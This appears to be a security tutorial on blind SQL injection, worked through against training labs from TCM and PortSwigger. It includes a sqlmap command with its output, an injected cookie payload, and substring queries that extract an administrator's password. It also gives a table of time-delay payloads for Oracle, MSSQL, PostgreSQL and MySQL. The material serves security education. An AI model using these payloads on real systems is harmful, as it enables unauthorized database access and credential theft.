Blind

Blind SQLi occurs when an attacker cannot see the results of their queries directly but can infer information based on the application's behavior and responses.

Boolean-based

Boolean-based SQLi occurs when the attacker sends queries that return different responses based on a true/false condition, inferring information from the application's behavior.

Headers

The example below is based on TCM's Practical Bug Bounty course.

This time the application generates both a POST and a GET request. The former includes two parameters (username and password), but they don't appear to be vulnerable to SQLi. The latter does not contain any parameter, but we can search for other injection points.

We are looking for points where the server might potentially process, such as the User-Agent and the Cookie headers. In this case, the Cookie header includes the session parameter and its value is certainly processed by the back-end (Figure 1).

Figure 1: Inspecting potential SQLi positions.

When testing the session parameter, we can see that we can alter the response's behavior (Content-Length differences) (Figure 2), but we don't get any data within the response like we did while testing the In Band SQLi; this is what makes it a Blind SQLi.

Figure 2: Validating sqlmap's findings.

Passing the request to sqlmap, it confirms that the session cookie is indeed injectable, therefore, we can continue the testing process as we did in the In Band section.

$ sqlmap -r get_request.txt --batch --dbms=MySQL --level 5 --technique=B --dbms=MySQL
<SNIP>

sqlmap identified the following injection point(s) with a total of 33 HTTP(s) requests:
---
Parameter: session (Cookie)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: session=6967cabefd763ac1a1a88e11159957db' AND 9499=9499-- UfuX
---
[12:37:03] [INFO] testing MySQL
[12:37:03] [INFO] confirming MySQL
[12:37:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 7.4.33, Apache 2.4.54
back-end DBMS: MySQL >= 8.0.0

Conditional

The example below is based on PostSwigger's Blind SQL injection with conditional responses lab.

SELECT database(); -- test
SELECT substring(database(),1,1); -- t (position,length)
SELECT substring(database(),1,3); -- tes (position,length)
SELECT * FROM products WHERE name = 'Laptop' AND substring((SELECT password FROM users WHERE username='Jessamy'),1,1)>'m';

Burp's Active Scan identifies a potential SQLi flaw (Figure 3).

Figure 3: Identifying & validating an SQLi vulnerability.

We can send the two responses to Comparer and check what is the differs between them (Figure 4).

Figure 4: Using Burp's Comparer to see what differs between the two responses.

Now that we know that if our injected statement is TRUE we will get a Welcome back! message, we can use the SUBSTRING function and start enumerating the administrator's password. We can do that efficiently by performing a Cluster bomb attack with Intruder (Figure 5).

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

Figure 5: Performing a Cluster bomb attack with Burp's Intruder.

All we need to do now is to filter out the irrevelant responses and sort them by Payload 1 (Figure 6).

Figure 6: Enumerting the administrator's password.

For performing the above task with a custom Python-based script, check the Copy As Python-Requests Burp's extension.

Time-based

Time-based SQLi occurs when the attacker sends queries that introduce deliberate delays, inferring information based on the time it takes for the application to respond.

The example below is based on PostSwigger's Blind SQL injection with time delays lab.

We can start by testing the time-based payloads found on PortSwigger's SQLi cheatsheet. using string concatenation (Figure 7).

Database	Payload
Oracle	dbms_pipe.receive_message(('a'),10)
Microsoft	WAITFOR DELAY '0:0:10'
PostgreSQL	SELECT pg_sleep(10)
MySQL	SELECT SLEEP(10)

'+||pg_sleep(10)-- -;

Figure 7: Successfully injecting a time-based payload.